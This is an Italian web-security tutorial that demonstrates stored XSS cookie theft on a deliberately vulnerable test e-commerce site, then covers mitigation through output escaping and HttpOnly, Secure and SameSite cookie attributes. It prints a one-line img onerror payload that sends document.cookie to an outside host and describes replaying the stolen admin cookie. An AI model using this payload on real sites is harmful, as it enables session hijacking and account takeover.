XSS Js Cookie Stealing

A cura di: Matteo Brandi ( Team Hackerhood)

Salvare la sessione di una web app in un cookie è molto comodo, ma ci sono dei rischi da prendere in considerazione quando si scrive il codice ed in questo articolo ne vedremo uno dei tanti.

Con il valore del cookie di sessione, un attaccante potrebbe bypassare completamente il login se le opportune contromisure non dovessero essere implementate adeguatamente.

Il furto del cookie di sessione attraverso il configurarsi di un attacco Cross-Site Scripting che prende il nome di  (XSS Cookie stealing) e’ una tecnica che permette ad un malintenzionato di appropriarsi di un cookie di sessione appartenente ad un utente autenticato attraverso l’utilizzo di tecniche xss con l’utilizzo di linguaggi di scripting lato client come JavaScript,  svolte all’interno di un’applicazione vulnerabile.

Potremmo anche definire questo articolo un evergreen da tenere sempre in considerazione quando si sviluppano applicazioni sul web.

Preparazione dell’attacco

Per rendere ancora più reale l’ambiente di test, non ho utilizzato piattaforme di test ma un mio server e dei domini di mia proprietà in cui ho approntato alcune parti di  un ipotetico sito web di e-commerce, volutamente creato vulnerabile ad XSS, con una pagina di login, una pagina di visualizzazione dati ed una pagina dedicata alla registrazione della newsletter del negozio.

Questo e-commerce gestisce le sessioni con un cookie di sessione in cui viene inserito un token univoco che viene preso di mira da un attaccante che tenterà di rubarlo e svolgere in un secondo momento l’autenticazione senza login con un account amministratore per avere accesso all’area amministrativa del sito nel back-end.

Ambiente e software utilizzati:

  • Server con S.O. Ubuntu 22.04.
  • NodeJS lato server con Express per servire la pagine 
  • database SQL per i dati 

Per essere precisi il cookie stealing appartiene a due tipologie di attacco: 

  • sniffing di pacchetti,  
  • attacco XSS per un diverso livello OSI,

in questo tutorial lo vedremo all’interno di una vulnerabilità XSS cross site scripting con l’utilizzo di Javascript.

Vediamo innanzitutto come è strutturato l’e-commerce nella parte del login.

Partiamo dalla sessione senza cookie.

L’utente si collega al sito www.miosito.com e il server controlla se un cookie dal nome session_token esista o meno.

Se non esiste allora fa redirect alla pagina del login come si vede in Figura 1.

Figura 1: alla richiesta della pagina principale del sito web il server controlla la presenza del cookie

Sappiamo in anticipo che non esiste quindi l’utente si troverà davanti alla pagina con il login. 

Una volta effettuato l’accesso all’ area riservata, il sistema passa le credenziali via POST al server , il codice lato server crea il token di sessione con il pacchetto uuid e viene verificata la password registrata nel database SQL.

Verificate la correttezza delle credenziali,  il token di sessione viene registrato nel database e viene creato il cookie di sessione chiamato session_token come si vede dal codice in Figura 2 con il pacchetto cookie-parser (per motivi di spazio sono stati tolti tutti i controlli sulla connessione al database e la query non è completa).

Figura 2: dopo la verifica delle credenziali si crea il cookie di sessione

A questo punto l’utente ha già avuto accesso ed il cookie di sessione è stato creato per la prima volta.

Se l’utente dovesse chiudere il browser senza effettuare il logout e tornasse sul sito web per qualche altro motivo in seguito, il server troverebbe il cookie con il valore del token, lo confronterebbe con quello registrato nel database e se corretto, caricherebbe le informazioni dell’utente reindirizzandolo alla prima pagina del back-end senza fare nuovamente login.

Come si può notare il cookie è creato senza alcun tipo di attributo.Veniamo alla parte lato attaccante.

Attacco

La pagina per la registrazione alla newsletter si trova nella home Page dell’e-commerce, ovvero ci si può registrare senza dover fare alcun tipo di login.

La pagina richiede un indirizzo email ed un nome, con lo scopo di inviare email personalizzate.

Figura 3: form iscrizione newsletter

Il nostro attaccante si registrerà alla newsletter scrivendo nel campo nome la seguente stringa html

<img src="x" onerror=this.src='https://sf43rh9i.dew/?'+document.cookie;>

Con questo script sfrutterebbe una delle vulnerabilità nei controlli della verifica dei dati in input al form inserendo il tag html <img> che sarà eseguito dal browser.

L’immagine genererà un errore poiché nella sorgente dell’immagine è stata messa semplicemente una x , attivando così la funzione onerror che, grazie all’oggetto this varierà la sorgente dati src riuscendo anche ad includere l’oggetto javascript che contiene il cookie.

Quindi fa una chiamata al server controllato dall’attaccante passando tutti i valori dei cookie generati dal dominio dell’e-commerce attraverso l’oggetto javascript document.cookie.

Quando un amministratore vorrà vedere l’elenco delle persone registrate, attiverà quella chiamata che sarà raccolta dal server dell’attaccante rivelando così il suo cookie di sessione.

Di seguito quanto registrato nel database dell’e-commerce:

Figura 4: database dell’e-commerce

Di seguito quello che accade quando l’utente amministratore visualizza la tabella degli iscritti alla newsletter (Figura 5):

Figura 5: tabella iscritti newsletter

a sinistra ci sono i nomi e le email degli iscritti e come si nota nella prima il nome è mancante mentre a destra ci sono le chiamate al dominio dell’attaccante con il cookie di sessione.

Vediamo nel dettaglio cosa viene inviato dal browser:

Figura 6: dettaglio dell’invio del cookie di sessione

viene inviato il nome del cookie session_cookie con il token di sessione.

A questo punto l’attaccante non dovrà altro che raccogliere i dati sul suo sito web, andare sul dominio della web application e con l’inspector di firefox, creare un cookie con il nome session_cookie con il valore del token precedentemente recuperato che permetterà di accedere  con i privilegi di amministratore bypassando il login come si vede in Figura 7 qui sotto.

Figura 7: creazione manuale del cookie di sessione

Come si può evitare tutto questo?

Bisogna intervenire su due fronti:

  • l’escape dei dati
  • le caratteristiche dei cookie


Mitigazione

Escape dei dati.

L’escape dei dati è una buona pratica di programmazione che si dovrebbe realizzare sia sui dati in ingresso dal form prima di salvarli nel database o viceversa quando questi vengono recuperati da un database e mostrati su una pagina web.

Le modalità dipendono dal linguaggio lato server utilizzato.

In questo caso, ho usato il framework NodeJs lato server ed Express per filtrare le pagine web, vediamo i due modi, lato server e nella pagina web.

Per fare l’escape dei dati nella pagina web prima di renderizzarli, con Express basta usare gli appositi caratteri <%= .

Se volessi renderizzare la variabile nome nell’array di dati chiamata prodotti dovrei scrivere nella pagina web:

<%=prodotti[0].nome %>

Express provvederà a far si che i tag HTML come <img> come nell’esempio precedente oppure

<script>, non vengano attivati ma

siano interpretati semplicemente come testo.

Per farlo invece lato server invece, ci si può affidare a pacchetti come per esempio

Xss-clean Cookie

Quali caratteristiche dovrebbe avere perché non venga inviato all’esterno del nostro dominio?

Potremmo inserire la proprietà HttpOnly in modo tale che il codice javascript o altri linguaggi di scripting non possa averne accesso.

Inoltre per proteggersi da attacchi Man in the Middle, buona pratica potrebbe essere quella di dare anche la proprietà Secure in modo tale che non venga mai trasmesso via http ma solo in https ed attivare SameSite=Strict per far si che non venga inviato verso altri domini.

Ho modificato il codice dell’applicazione agendo esclusivamente sul cookie dandogli le caratteristiche descritte sopra:

  1. HttpOnly: true
  2. Secure
  3. SameSite: Strict

Utilizzando il pacchetto cookie-parser è stato usato questo codice:

Figura 8: codice per le caratteristiche del cookie

il risultato è che, non avendo sanificato l’input dal database, la chiamata verso il dominio dell’attaccante è partita, ma stavolta è priva del cookie come si vede nella Figura 9 sotto.

Figura 9: manca il cookie di sessione

Se poi vado ad introdurre nel codice della pagina web i caratteri <%= prima di reinderizzare i valori presi dal database, vediamo come questi sono semplicemente stampati nella tabella senza creare alcun effetto come si vede nella Figura 10 sotto. 

Figura 10: i tag html ed il codice javascript come semplice testo

 

Conclusione

Sperando che questo articolo sia utile e pratico a coloro che intendono revisionare la gestione dei cookie sulla propria web application per evitare il furto dei cookie che come abbiamo visto potrebbe essere svolto con una singola riga di codice, il che permetterebbe ad eventuali malintenzionati di svolgere ulteriori attacchi sull’ autenticazione.

Comments are closed